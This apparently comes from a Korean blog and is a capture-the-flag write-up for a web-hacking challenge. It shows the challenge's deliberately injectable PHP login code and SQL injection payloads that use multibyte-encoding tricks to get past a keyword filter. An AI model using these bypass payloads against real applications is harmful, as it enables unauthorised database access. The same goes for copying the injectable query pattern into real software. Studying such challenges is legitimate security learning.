1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 <html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000exit();
?>
<!-- index.phps -->
 
<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
 
 
foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}
 
 
if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
 
 
if($data)
{
if($data[0]=="1"echo("level : 1<br><br>");
if($data[0]=="2"echo("level : 2<br><br>");
 
if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>
 
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>
 
cs


mb_convert_encoding 함수는 문자 인코딩을 변환해준다.


mb_convert_encoding(string $str, string $to_encoing, $from_encoding);


ex)

/* Convert EUC-JP to UTF-7 */

$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");


$_GET[id] 값에 인코딩을 euc-kr -> utf-8로 변환한다.

그후 GET 메소드로 전달받은 값을 필터한다.


# 필터 문자


from

pw

(

)

공백

%

=

>

<

@


추가로 $_GET[id]에 union이 오면 필터.

SELECT lv from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')

쿼리 결과 lv=1 이면 level : 1 출력, lv=2 이면 level : 2출력

lv=3 이면 solve() 함수가 호출된다.


쿼리 결과 레코드가 없거나 문법 오류가 발생하면 Wrong을 출력한다.


SELECT * FROM tb id='$_GET[id]' and pw='$_GET[pw]' 쿼리를 통해 lv=3 레코드를 추출하면된다.

mb_convert_encoding 함수 취약점을 이용해 우회가 가능하다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



?id=rap1er%aa%27or%0alv%0alike%0a3%23 // rap1er' or lv like 3#

select lv from members where id='rap1er' or lv like 3#' and pw=md5('$_GET[pw]')

처음에 위와 같이 입력하여 보냈는데 왜 안되지? 생각하다가 lv like 3 대신 레코드가 몇개인지 궁금했다.

1=1 limit 0,1# // level : 1 출력

1=1 limit 2,1# // level : 1 출력

1=1 limit 5,1# // level : 1 출력

????.... 뭔가 이상했다


1=1 order by 1 asc   // level : 1 출력

1=1 order by 1 desc // level : 1 출력

이번에는 order by 로 해봤다. 레코드는 1개인 것 같다...?

근데 레코드가 1개이면 limit 5,1이 어떻게되지?


어쨌든 데이터베이스에 lv=3 레코드가 없는 것을 확인했다. union을 통해 만들 수 있다.
id 파라미터에 union이 필터링 돼 있고 pw에는 없으니까 pw를 통해 만들어보자.


select lv from members where id='rap1er'/* and pw=md5(*/ union select 3#)

?id=rap1er%aa%27/*&pw=*/union%0aselect%0a3%23



union 관련된 걸 입력하는 문제는 다 문제있는 것 같다. 

Not Acceptable.......짜증나
















+ Recent posts